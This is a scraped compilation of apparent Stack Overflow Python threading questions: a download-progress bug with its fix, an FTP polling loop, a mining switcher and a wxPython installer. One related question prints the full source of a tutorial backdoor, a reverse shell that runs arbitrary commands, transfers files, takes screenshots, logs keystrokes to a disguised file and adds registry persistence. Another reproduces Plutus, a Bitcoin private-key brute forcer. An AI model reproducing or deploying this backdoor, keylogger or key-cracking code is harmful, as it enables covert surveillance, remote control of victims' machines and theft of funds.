Python: Threading is not functioning when starting class methods - python

import urllib.request
import urllib
import shutil
import os
import os.path
import sys
import time
import threading
class downloadFile:
def __init__(self, downloadLink, downloadPath, onDiskName):
self.downloadSize = urllib.request.urlopen(downloadLink).length
self.downloadLink = downloadLink
self.downloadPath = downloadPath
self.onDiskName = onDiskName
self.hardPath = os.path.join(self.downloadPath, self.onDiskName)
def returnMode(self, returnMode = 'stats'):
if returnMode == 'stats':
return [self.downloadLink, self.downloadPath, self.onDiskName, self.downloadSize]
elif returnMode == 'printedStats':
print('self.downloadLink = ' + self.downloadLink)
print('self.downloadPath = ' + self.downloadPath)
print('self.onDiskName = ' + self.onDiskName)
print('self.downloadSize = ' + self.downloadSize)
print('self.hardPath = ' + self.hardPath)
return [self.downloadLink, self.downloadPath, self.onDiskName, self.downloadSize, self.hardPath]
def executeDownload(self):
self.downloadStart = time.strftime("[%H:%M:%S] ")
with urllib.request.urlopen(self.downloadLink) as response, open(self.hardPath, 'wb') as currentFile:
shutil.copyfileobj(response, currentFile)
currentFile.close()
self.downloadEnd = time.strftime("[%H:%M:%S] ")
def downloadStats(self):
currentFileSize = os.path.getsize(self.hardPath)
percentManifested = int(currentFileSize/(self.downloadSize/100))
return [currentFileSize, percentManifested]
def liveDownloadStats(self):
if os.path.isfile(self.hardPath) == False:
time.sleep(1)
statList = self.downloadStats()
while statList[0] < self.downloadSize:
sys.stdout.write("\r" + self.downloadStart + " Downloading {0}... ".format(self.onDiskName) + "[{0}%]".format(statList[1]))
sys.stdout.flush()
sys.stdout.write("\r" + self.downloadStart + " Downloading {0}... ".format(self.onDiskName) + "[{0}%]".format(statList[1]))
sys.stdout.write("\n")
server = downloadFile("https://s3.amazonaws.com/Minecraft.Download/versions/1.8/minecraft_server.1.8.jar", "C:/Users/my-username/Desktop/", "minecraftServer.jar")
t1 = threading.Thread(target=server.executeDownload())
t2 = threading.Thread(target=server.liveDownloadStats())
t2.start()
t1.start()
time.sleep(100)
This is supposed to start printing the percentage downloaded of the file being downloaded once the file appears. What I am seeing is that the file appears and then moments later I get the output saying that it is 100% downloaded. I can't see exactly what I'm doing wrong here.

The problem was the fact that every time it checked the current downloaded data to the data that needed to be downloaded, it never updated the variables. So when the loop came around, it was comparing the same numbers until something. It was stuck in this loop and when something caused it to exit, I'm not sure what, it continued to the next line of code printing that it was finished downloading.
import urllib.request
import urllib
import shutil
import os
import os.path
import sys
import time
import threading
class downloadFile:
def __init__(self, downloadLink, downloadPath, onDiskName):
self.downloadSize = urllib.request.urlopen(downloadLink).length
self.downloadLink = downloadLink
self.downloadPath = downloadPath
self.onDiskName = onDiskName
self.hardPath = os.path.join(self.downloadPath, self.onDiskName)
def returnMode(self, returnMode = 'stats'):
if returnMode == 'stats':
return [self.downloadLink, self.downloadPath, self.onDiskName, self.downloadSize]
elif returnMode == 'printedStats':
print('self.downloadLink = ' + self.downloadLink)
print('self.downloadPath = ' + self.downloadPath)
print('self.onDiskName = ' + self.onDiskName)
print('self.downloadSize = ' + self.downloadSize)
print('self.hardPath = ' + self.hardPath)
return [self.downloadLink, self.downloadPath, self.onDiskName, self.downloadSize, self.hardPath]
def executeDownload(self):
self.downloadStart = time.strftime("[%H:%M:%S] ")
with urllib.request.urlopen(self.downloadLink) as response, open(self.hardPath, 'wb') as currentFile:
shutil.copyfileobj(response, currentFile)
currentFile.close()
self.downloadEnd = time.strftime("[%H:%M:%S] ")
def downloadStats(self):
currentFileSize = os.path.getsize(self.hardPath)
percentManifested = int(currentFileSize/(self.downloadSize/100))
return [currentFileSize, percentManifested]
def liveDownloadStats(self):
if os.path.isfile(self.hardPath) == False:
time.sleep(1)
statList = self.downloadStats()
while statList[0] < self.downloadSize:
sys.stdout.write("\r" + self.downloadStart + " Downloading {0}... ".format(self.onDiskName) + "[{0}%]".format(statList[1]))
sys.stdout.flush()
statList = self.downloadStats() #This is the extra line of code used to update the variable before comparing on the next while loop.
sys.stdout.write("\r" + self.downloadStart + " Downloading {0}... ".format(self.onDiskName) + "[{0}%]".format(statList[1]))
sys.stdout.write("\n")
def Main():
server = downloadFile("https://s3.amazonaws.com/Minecraft.Download/versions/1.8/minecraft_server.1.8.jar", "C:/Users/my-username/Desktop/", "minecraftServer.jar")
t1 = threading.Thread(target=server.executeDownload, args=())
t2 = threading.Thread(target=server.liveDownloadStats, args=())
t1.start()
t2.start()
if __name__ == "__main__":
Main()

Related

How can I fix Pyinstaller error: Failed to execute script

I am following the backdoor-tutorial by Aleksa Tamburkovski
But when I try to compile the .py file into an .exe file using pyinstaller backdoor.py --onefile --noconsole in cmd, it compiles at first but when I try to open the file it says: Failed to execute script.
I have no Idea whats going on. Here are the files, one the backdoor.py and another one which is needed to run it:
backdoor.py:
import socket
import json
import subprocess
import os
import pyautogui
import keylogger
import threading
import shutil
import sys
def reliable_recv():
data = ''
while True:
try:
data = data + s.recv(1024).decode().rstrip()
return json.loads(data)
except ValueError:
continue
def upload_file(file_name):
f = open(file_name, 'rb')
s.send(f.read())
def download_file(file_name):
f = open(file_name, 'wb')
s.settimeout(1)
chunk = s.recv(1024)
while chunk:
f.write(chunk)
try:
chunk = s.recv(1024)
except socket.timeout as e:
break
s.settimeout(None)
f.close()
def screenshot():
Ss = pyautogui.screenshot()
Ss.save('screen.png')
def persist(r,c):
file_loc = os.eviron['appdata'] + '\\' + c
try:
if not os.path.exists(file_loc):
shutil.copyfile(sys.executable, file_loc)
subprocess.call('reg add HKCU\Software\Microsoft\Wndows\CurrentVersion /v ' + r +' /t REG_SZ /d "' + file_loc + '"', shell =True)
reliable_send('[+] Created Persistance at: '+ r)
else:
reliable_send('[+] Persistance already Exists!')
except:
reliable_send('[-] Error Creating Persistance')
def reliable_send(data):
jsondata = json.dumps(data)
s.send(jsondata.encode())
def shell():
while True:
command = reliable_recv()
if command == 'quit':
break
elif command == 'help':
pass
elif command == 'clear':
pass
elif command[:6] == 'upload':
download_file(command[7:])
elif command[:3] == 'cd ':
os.chdir(command[3:])
elif command[:8] == 'download':
upload_file(command[9:])
elif command[:10] == 'screenshot':
screenshot()
upload_file('screen.png')
os.remove('screen.png')
elif command[:12] == 'keylog_start':
keylog = keylogger.Keylogger()
t = threading.Thread(target = keylog.start)
t.start()
reliable_send('[+] Keylogger Started!')
elif command[:11] == 'keylog_dump':
logs = keylog.read_logs()
reliable_send(logs)
elif command[:11] == 'keylog_stop':
keylog.self_destruct()
t.join()
reliable_send('[-] Keylogger Stopped!')
elif command[:11] == 'persistence':
reg_name, copy_name = command[12:].split(' ')
persist(reg_name, copy_name)
else:
execute = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,stdin=subprocess.PIPE)
result = execute.stdout.read() + execute.stderr.read()
result = result.decode()
reliable_send(result)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1',5555))
shell()
keylogger.py:
import os
from pynput.keyboard import Listener
import time
import threading
class Keylogger():
keys = []
count = 0
#path = 'processmannager.txt'
path = os.environ['appdata'] + '\\processmannager.txt'
flag = 0
def on_press(self,key):
self.keys.append(key)
self.count += 1
if self.count >= 1:
self.count = 0
self.write_file(self.keys)
self.keys = []
def read_logs(self):
with open(self.path,'rt')as f:
return f.read()
def write_file(self,keys):
with open(self.path, 'a') as f:
for key in keys:
k = str(key).replace("'","")
k = str(k).replace("Key.space",' ')
k = str(k).replace("Key.enter", '\n')
k = str(k).replace("Key.shift", "[Shift]")
k = str(k).replace("Key.caps_lock", "[Caps_lock]")
f.write(k)
def self_destruct(self):
self.flag = 1
listener.stop()
os.remove('processmannager.txt')
def start(self):
global listener
with Listener(on_press=self.on_press) as listener:
listener.join()
And when I try pyinstaller backdoor.py --onefile --noconsole --debug=all it shows me:
Please help me Out on this.

Get the value of an variable inside a thread while running a loop(python)

i'm trying to get files name's in a ftp directory.acctualy my problem is that i get eatch time an empty string when i use a loop.in case that i run my program without a lopp i get the right files name's.
This is my program
class Watch:
def __init__(self):
self.m=""
def goh(self):
while True:
j = 0
ftp = FTP('')
ftp.connect('127.0.0.1', 1026)
ftp.login(user='user', passwd='12345')
ftp.cwd("/FTM/Simulateur/1.MPTC_ACK")
files = ftp.nlst()
while j < len(files):
timestamp = ftp.voidcmd("MDTM " + files[j])[4:].strip()
time = parser.parse(timestamp)
self.time_dic = str(time)
self.tab_file = files[j]
os.chdir("/Users/ouhejjouyou/Desktop/eleclink/Fichier_in/1.MPTC_ACK")
fhandle = open(files[j], 'wb')
ftp.retrbinary("RETR " + str(self.tab_file), fhandle.write)
fhandle.close()
ftp.delete(self.tab_file)
self.m = self.time_dic + " Reception du fichier " + self.tab_file + " réussi\n"
j = j + 1
a=Watch()
t = Thread(target=a.goh)
t.start()
print(a.m)
t.join()

Changing Bitcoin Wallet Address Range for Plutus.py

I am working with the following script from https://github.com/Isaacdelly/Plutus/blob/master/plutus.py
The script works for wallet addresses in the 2^160 range. I am curious where in the script I can change this to look at the 2^128 range or 2^n range. Would it be possible to even have a window? Like 2^0 - 2^100?
Not trying to do anything malicious, just trying to get data to show that even selecting ranges is futile due to the large number of addresses.
# Plutus Bitcoin Brute Forcer
# Made by Isaac Delly
# https://github.com/Isaacdelly/Plutus
try:
import sys
import os
import time
import hashlib
import binascii
import multiprocessing
from multiprocessing import Process, Queue
from multiprocessing.pool import ThreadPool
import threading
import base58
import ecdsa
import requests
except ImportError:
import subprocess
subprocess.check_call(["python", '-m', 'pip', 'install', 'base58==1.0.0'])
subprocess.check_call(["python", '-m', 'pip', 'install', 'ecdsa==0.13'])
subprocess.check_call(["python", '-m', 'pip', 'install', 'requests==2.19.1'])
import base58
import ecdsa
import requests
def generate_private_key():
return binascii.hexlify(os.urandom(32)).decode('utf-8')
def private_key_to_WIF(private_key):
var80 = "80" + str(private_key)
var = hashlib.sha256(binascii.unhexlify(hashlib.sha256(binascii.unhexlify(var80)).hexdigest())).hexdigest()
return str(base58.b58encode(binascii.unhexlify(str(var80) + str(var[0:8]))), 'utf-8')
def private_key_to_public_key(private_key):
sign = ecdsa.SigningKey.from_string(binascii.unhexlify(private_key), curve = ecdsa.SECP256k1)
return ('04' + binascii.hexlify(sign.verifying_key.to_string()).decode('utf-8'))
def public_key_to_address(public_key):
alphabet = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz"
count = 0; val = 0
var = hashlib.new('ripemd160')
var.update(hashlib.sha256(binascii.unhexlify(public_key.encode())).digest())
doublehash = hashlib.sha256(hashlib.sha256(binascii.unhexlify(('00' + var.hexdigest()).encode())).digest()).hexdigest()
address = '00' + var.hexdigest() + doublehash[0:8]
for char in address:
if (char != '0'):
break
count += 1
count = count // 2
n = int(address, 16)
output = []
while (n > 0):
n, remainder = divmod (n, 58)
output.append(alphabet[remainder])
while (val < count):
output.append(alphabet[0])
val += 1
return ''.join(output[::-1])
def get_balance(address):
try:
response = requests.get("https://bitaps.com/api/address/" + str(address))
return int(response.json()['balance'])
except:
return -1
def data_export(queue):
while True:
private_key = generate_private_key()
public_key = private_key_to_public_key(private_key)
address = public_key_to_address(public_key)
data = (private_key, address)
queue.put(data, block = False)
def worker(queue):
while True:
if not queue.empty():
data = queue.get(block = True)
balance = get_balance(data[1])
process(data, balance)
def process(data, balance):
private_key = data[0]
address = data[1]
if (balance == 0):
print("{:<34}".format(str(address)) + ": " + str(balance))
if (balance > 0):
file = open("plutus.txt","a")
file.write("address: " + str(address) + "\n" +
"private key: " + str(private_key) + "\n" +
"WIF private key: " + str(private_key_to_WIF(private_key)) + "\n" +
"public key: " + str(private_key_to_public_key(private_key)).upper() + "\n" +
"balance: " + str(balance) + "\n\n")
file.close()
def thread(iterator):
processes = []
data = Queue()
data_factory = Process(target = data_export, args = (data,))
data_factory.daemon = True
processes.append(data_factory)
data_factory.start()
work = Process(target = worker, args = (data,))
work.daemon = True
processes.append(work)
work.start()
data_factory.join()
if __name__ == '__main__':
try:
pool = ThreadPool(processes = multiprocessing.cpu_count()*2)
pool.map(thread, range(0, 10))
except:
pool.close()
exit()
Thank you
You seem to be misunderstanding the purpose of the 2^160 bit range.
Each standard bitcoin address is tied to the HASH160 of the public key. A HASH160 is 160 bits long, which is why your search space is 2^160. If you are able to find two private keys for which the HASH160 of the public keys are equal, any of those two private keys can spend coins sent to that address.
Searching a smaller space does not make sense since you are no longer searching for bitcoin addresses. If you just want to search random hash functions, then you simply need to replace RIPEMD160 hash function with another one that has an output in whatever bitsize you wish to search.
Note that if you do that, the rest of the code talking about checking balances etc. will be of no use, since your output will no longer be a bitcoin address.

Infinite while loop sometimes breaks

I wrote a little crypto switcher which checks profit and switches miners. But it works some time and then the loop stops without any error (it may work 15 min or 20 hours but it will stop, tested for 10 days).
code:
import os
import subprocess
import time
import copy
import requests
import configparser
from datetime import datetime
def config_read ():
config = configparser.ConfigParser()
config.read('config.ini')
return config.sections
def start_miner(info):
if info['algorithm'] == 'Equihash':
subprocess.Popen('F:\Claymore\start — music — Peon.bat', cwd='F:\Claymore',
creationflags=subprocess.CREATE_NEW_CONSOLE)
elif info['algorithm'] == 'Ethash':
subprocess.Popen('F:\Claymore\start — music — Peon.bat', cwd='F:\Claymore',
creationflags=subprocess.CREATE_NEW_CONSOLE)
return info
def stop_miner():
os.system("taskkill /f /t /im miner.exe")
os.system("taskkill /f /t /im EthDcrMiner64.exe")
def request_coins():
coins = None
while coins is None:
try:
coins = ((requests.get(
url='https://whattomine.com/coins.json?utf8=✓&eth=true&factor%5Beth_hr%5D=79.0&factor%5Beth_p%5D=0.0&factor%5Bgro_hr%5D=0.0&factor%5Bgro_p%5D=0.0&factor%5Bx11g_hr%5D=20.0&factor%5Bx11g_p%5D=0.0&factor%5Bcn_hr%5D=0.0&factor%5Bcn_p%5D=0.0&eq=true&factor%5Beq_hr%5D=1000.0&factor%5Beq_p%5D=0.0&factor%5Blrev2_hr%5D=80000.0&factor%5Blrev2_p%5D=0.0&factor%5Bns_hr%5D=0.0&factor%5Bns_p%5D=0.0&factor%5Blbry_hr%5D=0.0&factor%5Blbry_p%5D=0.0&factor%5Bbk2b_hr%5D=0.0&factor%5Bbk2b_p%5D=0.0&factor%5Bbk14_hr%5D=0.0&factor%5Bbk14_p%5D=0.0&factor%5Bpas_hr%5D=0.0&factor%5Bpas_p%5D=0.0&bkv=true&factor%5Bbkv_hr%5D=0.0&factor%5Bbkv_p%5D=0.0&factor%5Bcost%5D=0.06&sort=Profitability24&volume=0&revenue=24h&factor%5Bexchanges%5D%5B%5D=&factor%5Bexchanges%5D%5B%5D=bittrex&factor%5Bexchanges%5D%5B%5D=bleutrade&factor%5Bexchanges%5D%5B%5D=btc_e&factor%5Bexchanges%5D%5B%5D=bter&factor%5Bexchanges%5D%5B%5D=c_cex&factor%5Bexchanges%5D%5B%5D=cryptopia&factor%5Bexchanges%5D%5B%5D=poloniex&factor%5Bexchanges%5D%5B%5D=yobit&dataset=Main&commit=Calculate&adapt_q_280x=0&adapt_q_380=0&adapt_q_fury=0&adapt_q_470=0&adapt_q_480=0&adapt_q_750Ti=0&adapt_q_10606=3&adapt_q_1070=0&adapt_q_1080=0&adapt_q_1080Ti=0%27')).json())[
'coins']
except:
print("Site didn't respond. Reconnecting in 10 sec")
time.sleep(10)
return coins
def miner_chose(config, info):
user_coins = {}
coins = request_coins()
for key, value in config['Currency'].items():
if value == 'True':
tag = key.upper()
for key_coin, value_coin in coins.items():
if value_coin['tag'] == info['temp_currency']:
info['temp_profit'] = value_coin['btc_revenue24']
if value_coin['tag'] == info['currency']:
info['profit'] = value_coin['btc_revenue24']
if value_coin['tag'] == tag:
user_coins[key_coin] = value_coin
for key, value in user_coins.items():
if float(value['btc_revenue24']) >= float(info['profit']) * (float(config['CheckOptions']['profitprocent']) +100) / 100:
if not info['currency'] == value['tag']:
if float(value['btc_revenue24']) > float(info['temp_profit']):
if not info['temp_currency'] == value['tag']:
info['check_times'] = 0
info['temp_profit'] = value['btc_revenue24']
info['temp_currency'] = value['tag']
info['check_times'] += 1
if int(info['check_times']) >= int(config['CheckOptions']['times']):
info['profit'] = value['btc_revenue24']
info['currency'] = value['tag']
info['algorithm'] = value['algorithm']
info['check_times'] = 0
return info
Part of code that uses while loop and stops:
def main():
info = {'profit': 0, 'check_times': 200, 'currency': None, 'temp_profit': 0, 'temp_currency': None}
config = config_read()
while True:
if info['profit'] == 0:
stop_miner()
info = start_miner(miner_chose(config,info))
print(str(datetime.now()) + " - Starting miner first time. Currency: " + info['currency'] + '. Profit: ' +
info['profit'] + ' BTC/Day')
time.sleep(int(config['CheckOptions']['period']) * 60)
else:
old_info = copy.deepcopy(info)
info = miner_chose(config, info)
print(
str(datetime.now()) + ' - Checking profit. Current currency: ' + info['currency'] + '. Profit: ' + info[
'profit'] + ' BTC/Day')
if info['currency'] != old_info['currency']:
print('Changing miner. Currency ' + info['currency'] + '. Profit: ' + info['profit'] + ' BTC/Day')
elif info['currency'] == old_info['currency']:
print('Curency SAME')
# stop_miner()
# start_miner(info)
time.sleep(int(config['CheckOptions']['period']) * 60)
I want that after sleeping time.sleep(int(config['CheckOptions']['period']) * 60) script have to start again and make all check again but sometimes script sleep for time i have put in config and don't want to check again. It may stop after 10 or 20 check without any errors.
Need to add to coins = ((requests.get(url='https://whattomine.com/coins.json', timeout=3)).json())['coins'] cause the server something stack and don't send response.

wxPython frames shown in XP but not win2003 server

I have written an app that runs fine on my XP dev platform. When I compile it with py2exe and move it to other XP platforms without python etc installed it also works fine. When I move it to a 2003 server platform it fails to display the main frame, but will display the wx.messagebox popups.
On the same 2003 platform, I install python 2.7, wx 2.8, ObjectListView to mimic my development environment, but I have the same result. The wx.messagebox popups display, but the main frame does not.
I ran the compiled exe version through dependency walker and it highlighted the fact that the 2003 platform was missing a msjava.dll. I then recompiled and inlcuded it in the py2exe setup. But this did not change anything.
Any help is much appreciated.
Code Sample
import wx
import random
import datetime
import sys
import getpass
import os
import socket
import subprocess
import platform
from _winreg import *
import zipfile
import bisect
from threading import Thread
import fileinput
import subprocess
from subprocess import call
######################
# Thread functions
#####################
class unzipThread(Thread):
def __init__(self, fileName, destination):
self.fileName = fileName
self.destination = destination
super(unzipThread, self).__init__()
def run(self):
print "unzipThread", self.fileName, self.destination
zip = zipfile.ZipFile(self.fileName)
zip.extractall(self.destination)
zip.close()
###########################################
def create(parent):
return Frame1(parent)
[wxID_FRAME1, wxID_FRAME1BTBEGININSTALL, wxID_FRAME1BTVALIDATEALL,
wxID_FRAME1BTVALIDATEIAS_ADMIN, wxID_FRAME1BTVALIDATEINFRASYSTEM,
wxID_FRAME1BTVALIDATEIWPCADMIN, wxID_FRAME1BTVALIDATEIWPCIWPCDBA,
wxID_FRAME1BTVALIDATEIWPCSYSTEM, wxID_FRAME1BTVALIDATELDAPOC4JADMIN,
wxID_FRAME1BTVALIDATELDAPORCLADMIN, wxID_FRAME1CBINSTALLPATCH3,
wxID_FRAME1CBINSTALLPATCH4, wxID_FRAME1CBINSTALLPATCH5,
wxID_FRAME1CBINSTALLSSP, wxID_FRAME1LISTCTRL1, wxID_FRAME1PANEL1,
wxID_FRAME1STACCOUNTSETTINGS, wxID_FRAME1STIAS_ADMIN,
wxID_FRAME1STINFRASYSTEM, wxID_FRAME1STINSTALLACTIONS,
wxID_FRAME1STIWPCADMIN, wxID_FRAME1STIWPCIWPCDBA, wxID_FRAME1STIWPCSYSTEM,
wxID_FRAME1STLDAPOC4JADMIN, wxID_FRAME1STLDAPORCLADMIN, wxID_FRAME1STSTATUS,
wxID_FRAME1TXIAS_ADMIN, wxID_FRAME1TXINFRASYSTEM, wxID_FRAME1TXIWPCADMIN,
wxID_FRAME1TXIWPCIWPCDBA, wxID_FRAME1TXIWPCSYSTEM,
wxID_FRAME1TXLDAPOC4JADMIN, wxID_FRAME1TXLDAPORCLADMIN,
] = [wx.NewId() for _init_ctrls in range(33)]
class Frame1(wx.Frame):
listSSP=[]
sspStartPoint=""
passwordsTestList = {"infra.system":False, "iwpc.system":False, "iwpc.iwpcdba":False, "ldap.oc4jadmin":False, "ldap.orcladmin":False, "ias_admin":False, "iwpcadmin":False}
passwordsValidList = {"infra.system":"", "iwpc.system":"", "iwpc.iwpcdba":"", "ldap.oc4jadmin":"", "ldap.orcladmin":"", "ias_admin":"", "iwpcadmin":""}
def _init_coll_listCtrl1_Columns(self, parent):
# generated method, don't edit
parent.InsertColumn(col=0, format=wx.LIST_FORMAT_LEFT,
heading=u'Timestamp', width=200)
parent.InsertColumn(col=1, format=wx.LIST_FORMAT_LEFT,
heading=u'Action', width=200)
parent.InsertColumn(col=2, format=wx.LIST_FORMAT_LEFT,
heading=u'Result', width=400)
def _init_ctrls(self, prnt):
# generated method, don't edit
wx.Frame.__init__(self, id=wxID_FRAME1, name='', parent=prnt,
pos=wx.Point(1932, 17), size=wx.Size(849, 748),
style=wx.DEFAULT_FRAME_STYLE,
title=u'IWPC Patch and SSP Installer')
self.SetClientSize(wx.Size(841, 714))
self.panel1 = wx.Panel(id=wxID_FRAME1PANEL1, name='panel1', parent=self,
pos=wx.Point(0, 0), size=wx.Size(841, 714),
style=wx.TAB_TRAVERSAL)
self.listCtrl1 = wx.ListCtrl(id=wxID_FRAME1LISTCTRL1, name='listCtrl1',
parent=self.panel1, pos=wx.Point(15, 24), size=wx.Size(808, 419),
style=wx.LC_REPORT)
self._init_coll_listCtrl1_Columns(self.listCtrl1)
--- snip to get post length under max chars...---
def __init__(self, parent):
self._init_ctrls(parent)
def updateList(self, action, result):
self.listCtrl1.Append([datetime.datetime.now(),action,result])
self.listCtrl1.EnsureVisible(self.listCtrl1.GetItemCount() -1)
self.Update()
def allPasswordsValid(self):
#if all passwords are true then enable the button
for k, v in self.passwordsTestList.items():
print " %s=%s" % (k,v)
if v == False:
print " NOT ENABLED"
return()
print " ENABLE IT"
self.btBeginInstall.Enable()
self.btValidateAll.Disable()
def checkPassword(self, password):
#randomize password results
bResult = random.choice([True,False])
return bResult
def passwordChecker(self, sAccount, sTxName, sBtName):
print "check " + sAccount
self.btBeginInstall.Disable()
if self.passwordsTestList[sAccount] == False:
#Get password from value
sPassword = sTxName.Value
#TODO: Make diff tests for each password type
bResult = self.checkPassword(sPassword)
#update test list with current result
self.passwordsTestList[sAccount] = bResult
#Do results from test
if bResult == True:
self.passwordsValidList[sAccount] = sPassword
sTxName.SetBackgroundColour('Green')
self.updateList("Validate " + sAccount,"Passed")
sBtName.Disable()
else:
sTxName.SetBackgroundColour('Red')
self.updateList("Validate " + sAccount,"Failed")
else:
#reset the displayed password back to the previously validated state
self.updateList(sAccount + " is already valid","Display value reset to " + self.passwordsValidList[sAccount])
sTxName.SetValue(self.passwordsValidList[sAccount])
#run test to see if all are valid
self.allPasswordsValid()
def OnBtValidateInfraSystemButton(self, event):
print "button InfraSystem"
self.passwordChecker("infra.system",self.txInfraSystem,self.btValidateInfraSystem)
self.Refresh()
def OnBtValidateIwpcSystemButton(self, event):
print "button IwpcSystem"
self.passwordChecker("iwpc.system",self.txIwpcSystem,self.btValidateIwpcSystem)
self.Refresh()
def OnBtValidateIwpcIwpcdbaButton(self, event):
print "button IwpcIwpcdba"
self.passwordChecker("iwpc.iwpcdba",self.txIwpcIwpcdba,self.btValidateIwpcIwpcdba)
self.Refresh()
def OnBtValidateLdapOc4jadminButton(self, event):
print "button LdapOc4jadmin"
self.passwordChecker("ldap.oc4jadmin",self.txLdapOc4jadmin,self.btValidateLdapOc4jadmin)
self.Refresh()
def OnBtValidateLdapOrcladminButton(self, event):
print "button LdapOrcladmin"
self.passwordChecker("ldap.orcladmin",self.txLdapOrcladmin,self.btValidateLdapOrcladmin)
self.Refresh()
def OnBtValidateIas_adminButton(self, event):
print "button Ias_admin"
self.passwordChecker("ias_admin",self.txIas_admin,self.btValidateIas_admin)
self.Refresh()
def OnBtValidateiwpcadminButton(self, event):
print "button iwpcadmin"
self.passwordChecker("iwpcadmin",self.txIwpcadmin,self.btValidateiwpcadmin)
self.Refresh()
def OnBtValidateAllButton(self, event):
print "button Validate All"
self.passwordChecker("infra.system",self.txInfraSystem,self.btValidateInfraSystem)
self.passwordChecker("iwpc.system",self.txIwpcSystem,self.btValidateIwpcSystem)
self.passwordChecker("iwpc.iwpcdba",self.txIwpcIwpcdba,self.btValidateIwpcIwpcdba)
self.passwordChecker("ldap.oc4jadmin",self.txLdapOc4jadmin,self.btValidateLdapOc4jadmin)
self.passwordChecker("ldap.orcladmin",self.txLdapOrcladmin,self.btValidateLdapOrcladmin)
self.passwordChecker("ias_admin",self.txIas_admin,self.btValidateIas_admin)
self.passwordChecker("iwpcadmin",self.txIwpcadmin,self.btValidateiwpcadmin)
self.Refresh()
def writeData(self):
fileName = 'd:\ssptemp\OracleData.txt'
FILE = open(fileName,"w")
for key, value in self.passwordsValidList.items():
writeLine = key + ': ' + value + '\n'
FILE.write(writeLine)
FILE.close()
self.updateList("Account data stored","Complete")
def find_fwd_iter(self, S, i):
#Allows iteration of a list from a specific match of value in the list
j = bisect.bisect_left(S, i)
for k in xrange(j, len(S)):
yield S[k]
def copySSPTemp(self):
#Unzip sourc\ssp X-Y\ssptemp.zip to d:\ssptemp\ssp X-Y
#put start point into [X,y] form
sYr, sQtr = self.sspStartPoint.split('-')
iYr = int(sYr)
iQtr = int(sQtr)
sspStart =[iYr,iQtr]
for yr, qtr in self.find_fwd_iter(self.listSSP,sspStart):
dirName = 'ssp ' + str(yr) + '-' + str(qtr)
sspDest = os.path.join('d:\ssptemp',dirName)
currentDir = os.getcwd()
sspTempPath = os.path.join(currentDir,dirName,'ssptemp.zip')
installPath = os.path.join(currentDir,dirName,'install.zip')
#create destination dir if needed d:\ssptemp\ssp yr-qtr
if os.path.isdir(sspDest) == False:
os.mkdir(sspDest)
if os.path.isdir('d:\install') == False:
os.mkdir('d:\install')
#Unzip ssptemp to dest
print "UNZIP"
self.updateList("Unzip " + dirName + " ssptemp.zip", "Begining unzip. Process may take several minutes")
t1 = unzipThread(sspTempPath,sspDest)
t1.start()
t1.join()
#Unzip install.zip to d:\install
self.updateList("Unzip " + dirName + " install.zip", "Begining unzip. Process may take several minutes")
t2 = unzipThread(installPath,'d:\install')
t2.start()
t2.join()
self.updateList("Unzip SSP control files","Complete")
self.updateList("Unzip SSP install files","Complete")
def createChain(self):
####### TODO - DON'T DO CHAIN IF LIST SIZE IS ONLY 1 #########
#Iterate through all d:\ssptemp\sspX-Y dirs add all iwpcpatch files to list
listOfFiles = []
for path, dirs, files in os.walk('d:\ssptemp'):
for file in files:
newFile = os.path.join(path,file)
if newFile.find('IWPCPatch') >= 0:
for line in fileinput.FileInput(newFile):
if "IWPCPatchFinal_a.wsf" in line:
print "Added", newFile
listOfFiles.append(newFile)
#Iterate through list looking for "D:\ssptemp\<currentFilesDir>\IWPCPATCHFinal_a.wsf
idx = 1
for item in listOfFiles[0:len(listOfFiles)-1]:
currentPath, currentFile = os.path.split(item)
currentPath = os.path.join(currentPath,"IWPCPatchFinal_a.wsf")
nextPath, nextFile = os.path.split(listOfFiles[idx])
nextPath = os.path.join(nextPath,'IWPCPatch.wsf')
print currentPath, nextPath
for line in fileinput.FileInput(item,inplace=1):
if currentPath in line:
line = line.replace(currentPath,nextPath)
sys.stdout.write(line)
idx += 1
self.updateList("Edit " + currentPath,"Complete")
self.updateList("Create install chain","Complete")
# TODO: Null the GW to prevent Oracle from attempting to dial home
def nullGateWay(self):
self.updateList("Gateway set to null","PLACEHOLDER: Complete")
def enableWFS(self):
key = OpenKey(HKEY_LOCAL_MACHINE,
r'Software\Microsoft\Windows Script Host\Settings',
0,
KEY_ALL_ACCESS)
try:
SetValueEx(key, "Enabled", 0, REG_DWORD, 1)
self.updateList(".WFS Scripts enable","Complete")
except:
self.updateList(".WFS Scripts enable","ERROR: Key not present")
self.markWarning()
CloseKey(key)
def disableJedi(self):
key = OpenKey(HKEY_LOCAL_MACHINE,
r'Software\Microsoft\Windows NT\CurrentVersion\Winlogon',
0,
KEY_ALL_ACCESS)
try:
SetValueEx(key, "GinaDLL", 0, REG_SZ, "msgina.dll")
self.updateList("Jedi Disabled","Complete")
except:
self.updateList("Jedi Disabled","ERROR: Key not present")
self.markWarning()
CloseKey(key)
def enableVBS(self):
key = OpenKey(HKEY_CURRENT_USER,
r'Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.VBS',
0,
KEY_ALL_ACCESS)
try:
DeleteValue(key, "Application")
self.updateList("Remove VBS to Notepad mapping","Complete")
except:
self.updateList("Remove VBS to Notepad mapping","ERROR: Key not present")
self.markWarning()
CloseKey(key)
def runInstall(self):
print "-- runInstall --"
#Run
print self.sspStartPoint
firstRun = "d:\ssptemp\ssp " + str(self.sspStartPoint)
firstRun = os.path.join(firstRun,"IWPCPatch.wsf")
retcode = subprocess.call(["wscript.exe", "d:\ssptemp\ssp 9-2\IWPCPatch.wsf"])
def OnBtBeginInstallButton(self, event):
#Disable to prevent multi-clicks
self.btBeginInstall.Disable
# TODO: Enable button only if all passwords are valid
self.writeData()
self.copySSPTemp()
self.createChain()
#self.nullGateWay()
self.enableWFS()
self.disableJedi()
self.enableVBS()
self.runInstall()
self.updateList("Begin Install","Complete")
self.Refresh()
def validateCurrentUser(self):
sCurrentUser = getpass.getuser()
print sCurrentUser
if (sCurrentUser == 'Chris.White'):
print "iwpcadmin verified"
self.updateList('Validate user as Chris.White', 'user validated as Chris.White')
return True
else:
print "Error: Current user is " + sCurrentUser + " not iwpcadmin"
strError = "ERROR: Current user is not iwpcadmin. Please logoff and logon as iwpcadmin"
self.updateList('Validate user as iwpcadmin',strError)
self.markError()
return False
def createDir(self, sDir):
if os.path.isdir(sDir):
self.updateList('Check for ' + sDir,'exists')
return True
else:
